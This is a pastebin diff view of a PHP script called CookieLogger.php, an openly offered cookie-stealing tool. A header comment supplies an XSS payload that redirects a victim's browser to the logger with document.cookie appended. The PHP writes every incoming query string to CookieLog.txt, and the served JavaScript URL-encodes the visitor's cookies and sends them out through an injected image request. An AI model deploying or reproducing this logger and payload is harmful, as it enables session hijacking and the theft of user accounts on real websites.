View difference between Paste ID: EwasibvF and q8Ja03c2

 <?php
 /*
 * Created on 16. april. 2007
 * Created by Audun Larsen (audun@munio.no)
 *
 * Copyright 2006 Munio IT, Audun Larsen
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
 * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
 * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
 * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
 * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * CookieLogger.php
 * CookieLog.txt
 *
 * PAYLOAD XSS
 * <script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>
 */
 
 if(strlen($_SERVER['QUERY_STRING']) > 0) {
     $fp=fopen('./CookieLog.txt', 'a');
     fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
     fclose($fp);
 } else {
 ?>
 
 var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';
 
 // ==
 //  URLEncode and URLDecode functions
 //
 // Copyright Albion Research Ltd. 2002
 // http://www.albionresearch.com/
 //
 // You may copy these functions providing that
 // (a) you leave this copyright notice intact, and
 // (b) if you use these functions on a publicly accessible
 //  web site you include a credit somewhere on the web site
 //  with a link back to http://www.albionresearch.com/
 //
 // If you find or fix any bugs, please let us know at albionresearch.com
 //
 // SpecialThanks to Neelesh Thakur for being the first to
 // report a bug in URLDecode() - now fixed 2003-02-19.
 // And thanks to everyone else who has provided comments and suggestions.
 // ==
 function URLEncode(str)
 {
     // The Javascript escape and unescape functions do not correspond
     // with what browsers actually do...
     var SAFECHARS = "0123456789" +        // Numeric
         "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +    // Alphabetic
         "abcdefghijklmnopqrstuvwxyz" +
         "-_.!~*'()";        // RFC2396 Mark characters
     var HEX = "0123456789ABCDEF";
 
     var plaintext = str;
     var encoded = "";
     for (var i = 0; i < plaintext.length; i++ ) {
         var ch = plaintext.charAt(i);
         if (ch == " ") {
             encoded += "+";                // x-www-urlencoded, rather than %20
         } else if (SAFECHARS.indexOf(ch) != -1) {
             encoded += ch;
         } else {
             var charCode = ch.charCodeAt(0);
             if (charCode > 255) {
                 alert( "Unicode Character '"
     + ch
     + "' cannot be encoded using standard URL encoding.\n" +
                     "(URL encoding only supports 8-bit characters.)\n" +
           "A space (+) will be substituted." );
                 encoded += "+";
             } else {
                 encoded += "%";
                 encoded += HEX.charAt((charCode >> 4) & 0xF);
                 encoded += HEX.charAt(charCode & 0xF);
             }
         }
     } // for
 
     return encoded;
 };
 
 cookie = URLEncode(document.cookie);
 html = '<img src="'+ownUrl+'?'+cookie+'">';
 document.write(html);
 
 < ?php
 }
 ?>